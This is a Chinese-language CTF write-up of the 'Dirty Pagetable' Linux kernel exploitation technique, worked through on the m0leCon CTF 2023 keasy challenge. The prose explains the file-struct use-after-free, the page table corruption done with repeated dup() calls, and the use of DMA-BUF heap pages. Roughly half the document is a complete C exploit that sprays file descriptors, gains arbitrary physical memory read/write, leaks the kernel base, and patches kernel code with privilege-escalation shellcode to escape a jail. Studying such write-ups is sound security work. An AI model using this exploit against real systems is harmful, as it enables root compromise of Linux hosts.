Dirty Pagetable

Dirty Pagetable 顧名思義就是篡改 page table 以達成利用,例題是 m0leCon CTF 2023 keasy。

圖片 1.png

題目僅一個功能,透過 ioctl 開啟匿名 file,並設定 file descriptor。

若 file descriptor 已經設定好,copy_to_user 時卻出錯,則執行 fput 釋放,但這時 file descriptor 還在,能代表被釋放的 file 結構。

而 copy_to_user 的目標是可以控制的,也就是說能產生 file struct UAF。

不過,我們只有對 fd 部分操作的權利,無法直接修改 file 內容,影響的方式有限。最簡單的方式是執行 dup(fd),讓 file->f_count 就增加。

改 page table 的方法不複雜,首先透過 UAF 一個 file struct,執行 cross cache attack,mmap 得到多個 page,便產生相應 PTE (page table entry),由於先前已將 file 釋放,目標 file 結構會蓋到一個 PTE。

呼叫 dup 使 f_count++,就能竄改指向的 physical frame,由於 PTE 後 12 bits 負責標示 flag,dup 執行 0x1000 次即可使 PTE 指向下一個 page。
(見圖一)

截圖 2025-07-10 上午9.46.18.png

然而,要讓 PTE 指向目標 kernel address 需要 dup 非常多次,因為原先位址在 user space,kernel space 非常遠,而 process 最大 fd 數有限制,因此需要套兩層 Dirty Pagetable。

簡單的想法是修改 PTE,做出並找到重疊的 page 後,munmap 掉一塊,這時就有一個 page level 的 UAF,再次 mmap 讓剛剛的 page 用來當 page table,就可以透過 UAF 修改內容!

理想很豐滿,實際上沒辦法。buddy system 中各個 order 的管理單位中,都有分割多個 free_list,處理不同 migrate type 的 page。mmap 記憶體是從 MIGRATE_MOVABLE 分配,而 page table 的記憶體來自 MIGRATE_UNMOVABLE,也就是 munmap 後不可能變 page table。

不過,有個東西叫 DMA-BUF Heap,它的記憶體同樣來自 MIGRATE_UNMOVABLE,因此我們釋放它後有機會變成 page table。

並且,這種方法能讓 dma page 夾在 mmap 出來的 PTE 之間,只要用 UAF 稍微修改指向 dma page 的 PTE,就能覆蓋其他 PTE,並自由編輯 PTE 內容,達到任意地址讀寫。

截圖 2025-07-10 上午9.46.30.png

總結一下,首先透過 dup 竄改 PTE,這會讓兩個 PTE 指向的 page 重疊。

下一步找到重疊的 page,munmap 後 mmap 同樣位址給 dma-buf,然後再 dup 0x1000 次,原本指向 dma-buf 的 PTE 也增加 0x1000,變成指向別的 PTE。

最後我們正常地寫入資料,就會覆蓋一個 PTE,達成任意地址讀寫。

寫 exploit 可能遇到的坑:

  • mmap 之間地址不可連續,否則 linux 處理 anon_vma 的創建和合併,造成在 dup 函數卡住。
  • mmap 時不應使用 MAP_PRIVATE,要換成 MAP_SHARED,因為處理 anon_vma 和 CoW 也需要時間。
  • mmap 要放 exploit 最前面。close 掉用來 heap spray 的所有 file descripter 後,再利用 demand paging 分配 page table。如果 close 後 mmap,則當初 UAF 的區塊被消耗,不會變 page table。
  • dma allocation 必須夾在 mmap spray 中間,ioctl 要記憶體時就會分配,mmap 只負責映射,夾在中間才能讓它下面就是 page table。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>

#define SPRAY_NUM 0x200
#define MMAP_NUM 0x200
#define DMA_HEAP_IOCTL_ALLOC 0xc0184800

struct dma_heap_allocation_data {
unsigned long long len;
unsigned int fd;
unsigned int fd_flags;
unsigned long long heap_flags;
};

void fatal(const char *msg) {
perror(msg);
exit(1);
}

uint64_t user_cs, user_ss, user_rsp, user_rflags;

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}

static void win() {
puts("Win!");
int flag_fd = open("/flag", O_RDONLY);
if (flag_fd < 0)
fatal("open");
sendfile(1, flag_fd, 0, 0x100);
}

void bind_cpu(int core) {
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

char *page[MMAP_NUM];
int spray_fd[SPRAY_NUM];
int keasy_fd, uaf_fd, dma_heap_fd;

int main() {
// Init
save_state();
bind_cpu(0);

keasy_fd = open("/dev/keasy", O_RDWR);
if (keasy_fd < 0)
fatal("open");

for (int i = 0; i < MMAP_NUM; i++) {
page[i] = mmap((char*)(0x13370000ll + i * 0x10000ll), 0x8000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (page[i] < 0)
fatal("mmap");
}

dma_heap_fd = open("/dev/dma_heap/system", O_RDONLY);
if (dma_heap_fd < 0)
fatal("open");

// Spray fd
for (int i = 0; i < SPRAY_NUM / 2; i++) {
spray_fd[i] = open("/", O_RDONLY);
if (spray_fd[i] < 0)
fatal("open");
}

if (ioctl(keasy_fd, 0, 0xdeadbeef) == 0) {
printf("UAF failed\n");
exit(0);
}
uaf_fd = spray_fd[SPRAY_NUM / 2 - 1] + 1;

for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
spray_fd[i] = open("/", O_RDONLY);
if (spray_fd[i] < 0)
fatal("open");
}

for (int i = 0; i < SPRAY_NUM; i++) {
close(spray_fd[i]);
}

// Spray page
for (int i = 0; i < MMAP_NUM / 2; i++) {
for (int j = 0; j < 8; j++) {
page[i][j * 0x1000] = 'A' + j;
}
}

struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;

if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
fatal("ioctl");

int dma_buf_fd = data.fd;

for (int i = MMAP_NUM / 2; i < MMAP_NUM; i++) {
for (int j = 0; j < 8; j++) {
page[i][j * 0x1000] = 'A' + j;
}
}

// Find overlap page
for (int i = 0; i < 0x1000; i++) {
dup(uaf_fd);
}

char *overlap_page = (void*)-1;
for (int i = 0; i < MMAP_NUM; i++) {
for (int j = 0; j < 8; j++) {
if (page[i][j * 0x1000] != 'A' + j) {
printf("Found overlap page on %p which content is %c\n", page[i] + j * 0x1000, page[i][j * 0x1000]);
overlap_page = page[i] + j * 0x1000;
}
}
}

if (overlap_page == (void*)-1) {
printf("Not found\n");
exit(0);
}

// Allocate DMA-BUF
munmap(overlap_page, 0x1000);
char *dma_buf = mmap(overlap_page, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0);
dma_buf[0] = 'a';

for (int i = 0; i < 0x1000; i++) {
dup(uaf_fd);
}

if (dma_buf[0] != 'a') {
printf("DMA overlap success! Data: %llx\n", *(long long*)dma_buf);
}

// Leak kernel base
*(long long*)dma_buf = 0x800000000009c067;

char *arbitrary_read_write_page = (void*)-1;
for (int i = 0; i < MMAP_NUM; i++) {
for (int j = 0; j < 8; j++) {
if (page[i][j * 0x1000] != 'A' + j && page[i] + j * 0x1000 != overlap_page) {
printf("Found overlap page on %p which content is %llx\n", page[i] + j * 0x1000, *(long long*)&page[i][j * 0x1000]);
arbitrary_read_write_page = page[i] + j * 0x1000;
}
}
}
size_t p_kernel_addr = *(unsigned long long*)arbitrary_read_write_page & ~0xfff;
size_t p_kernel_base = p_kernel_addr - 0x1c04000;
printf("Physical kernel_base: %p\n", p_kernel_base);

// Escape
size_t phys_func = p_kernel_base + 0x24d4c0;
*(size_t*)dma_buf = (phys_func & ~0xfff) | 0x8000000000000067;
char shellcode[] = {
0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9,
0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6,
0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a,
0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d,
0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49,
0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11,
0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0,
0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89,
0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89,
0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89,
0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,
0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89,
0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89,
0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc };
void *p;
p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
*(size_t*)p = getpid();
p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
*(size_t*)p = (size_t)&win;
p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
*(size_t*)p = user_cs;
p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
*(size_t*)p = user_rflags;
p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
*(size_t*)p = user_rsp;
p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
*(size_t*)p = user_ss;
memcpy(arbitrary_read_write_page + (phys_func & 0xfff), shellcode, sizeof(shellcode));

// Trigger
symlink("/jail/x", "/jail");
puts("Failed!");
return 0;
}